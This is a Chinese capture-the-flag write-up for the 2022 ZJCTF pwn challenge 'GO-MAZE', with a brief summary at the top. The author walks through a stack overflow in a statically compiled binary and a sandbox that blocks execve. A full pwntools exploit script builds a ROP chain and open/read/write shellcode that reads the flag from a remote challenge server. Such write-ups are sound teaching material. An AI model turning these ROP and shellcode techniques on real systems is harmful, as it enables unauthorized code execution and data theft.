1. 比赛回顾:作者提到自己在比赛中没有做出一道题目,主要是因为静态编译和调试时间不足,以及一些代码逻辑错误导致的失败。

  2. 题目分析:作者详细分析了题目,包括如何利用静态编译带来的gadget,以及如何通过堆栈溢出找到系统调用地址。最终,作者利用IDA Pro工具和手动搜索汇编关键字找到了正确的系统调用,并尝试执行shellcode,但未能成功。

  3. 解题思路:作者提出了一种新的解题思路,通过读取、打开和写入操作来获取flag。然而,由于context.arch设置错误,导致程序在尝试执行时失败。

  4. exp:作者提供了一个Python脚本,用于自动化执行攻击过程,包括设置shellcode和调用系统调用。

  5. 后话:作者表达了对这次比赛结果的失望,认为自己在关键时刻没有发挥出应有的水平,更多地依赖队友的帮助。

【Pwn】2022 ZJCTF GO-MAZE

前言

这次省赛纯纯的靠队友,web基本ak,re全ak了,misc也是队友带的,我纯纯的混子

比赛的时候没做出来这一题,主要是静态编译太ex了,而且最后十分钟才看到0x123000这个地方可读可写可执行...已经没时间去调试了

最憨的是,写好的链子执行直接报错了,赛后发现链子根本没错,错的是context.arch没有设置成amd64,链子为了写的快一点,没用p64,用的flat,直接默认32位写进去的,直接寄...

分析

纯ex人的go pwn,好在是静态编译,带了很多gadget

首先玩游戏就可以进入一个类似于gets的函数

这里可以写入然后栈溢出

调偏移花了20分钟。。。

写入后去文件中找/bin/sh

还真有!由于前几天蓝帽杯也有这样的binsh,于是猜测是system

自己手写了一个c程序,调用system,静态编译,一对比果然一模一样

于是花了2小时一直在打system("/bin/sh")

未果,寻病终...

发现是开了沙箱,不让执行execve

直接绝后路了

之后就基本放弃这一题了...

之后吃完饭想去调用open,read,write

奈何静态编译还去符号表根本没找过这样的模式

赛后复盘发现ida可以alt+t直接搜素汇编,搜索如下关键字:

  • sys_read
  • sys_open
  • sys_write

调试过程中使用vmmap,发现0x123000位置有所有权限

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-a4LLHUT3-1664016159556)(C:\Users\木鲸\AppData\Roaming\Typora\typora-user-images\image-20220924183820433.png)]

那么思路很简单了,直接:

  • read(0, 0x123000, 0x100)
  • open("/flag")
  • read(rax, rsp, 0x100)
  • write(1, rsp, 0x100)

思路非常正确,问题就处在了context.arch的设置错误导致flat的默认是32位,直接暴毙...

只能说还是调试少咯

exp

from pwn import *

sa = lambda rv, data: io.sendafter(rv, data)

sl = lambda data: io.sendline(data)

sla = lambda rv, data: io.sendlineafter(rv, data)

ia = lambda: io.interactive()

context.arch = "amd64"	# don't forget
io = remote("1.14.97.218", 28231)
# io = process("./pwn")
s = "sssssdddwwwdddwdww"
for i in s:
    sl(i)

ret = 0x00000000004005EE
ret = 0x00000000004005EE
syscall = 0x00000000004025AB
pop_rdi = 0x00000000004008F6
pop_rsi = 0x000000000040416F
pop_rax_ret = 0x0000000000400A4F
pop_rdx_ret = 0x000000000051D4B6
pop_rdx_rsi_ret = 0x000000000051D559
read_addr = 0x51D6E0

# read(0, 0x12300, 0x100)
payload = p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rdx_rsi_ret)
payload += p64(0x100)
payload += p64(0x123000)
payload += p64(pop_rax_ret)
payload += p64(0)
payload += p64(syscall)
payload += p64(0x123000)

sa("DO YOU WANNA THIS?", b"-" * (376 + 8) + (payload))

# shellcode
shellcode = shellcraft.open("/flag")
shellcode += shellcraft.read("rax", "rsp", 0x100)
shellcode += shellcraft.write(1, "rsp", 0x100)
shellcode = asm(shellcode)

sla("flag\x00", shellcode)

ia()

flag

后话

应该是最好一次打省赛了,去年也是没发挥好,差0.5分拿省一

今年虽然是一等,但感觉还是被队友带飞了,自己纯纯的没用捏...